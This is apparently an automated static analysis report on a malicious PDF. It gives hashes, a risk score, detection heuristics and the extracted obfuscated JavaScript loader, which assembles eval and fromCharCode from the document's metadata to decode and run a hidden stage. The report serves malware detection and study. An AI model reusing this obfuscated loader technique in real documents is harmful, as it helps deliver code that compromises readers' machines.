Malicious PDF — malware analysis report

Static analysis result for SHA-256 491c3367fe26e9e0…

MALICIOUS

PDF

50.0 KB Authoring application: substr First seen: 2013-07-24
MD5: c38db49b74ca94143a427d5057da981c SHA-1: 28a34b19aa57a0ec035803e93b5ce71f00212cc3 SHA-256: 491c3367fe26e9e0854dc3ba1fa2974ff35a8d751592d437997e2c661eeaf970
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The ML classifier strongly indicates maliciousness with a score of 0.999989. Static analysis detected embedded JavaScript within the PDF, which is a common technique for delivering malicious content. The presence of a JavaScript action and an embedded JS stream further supports this. The JavaScript file 'javascript_obj0001_000.js' is the primary IOC, likely containing the malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC510 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);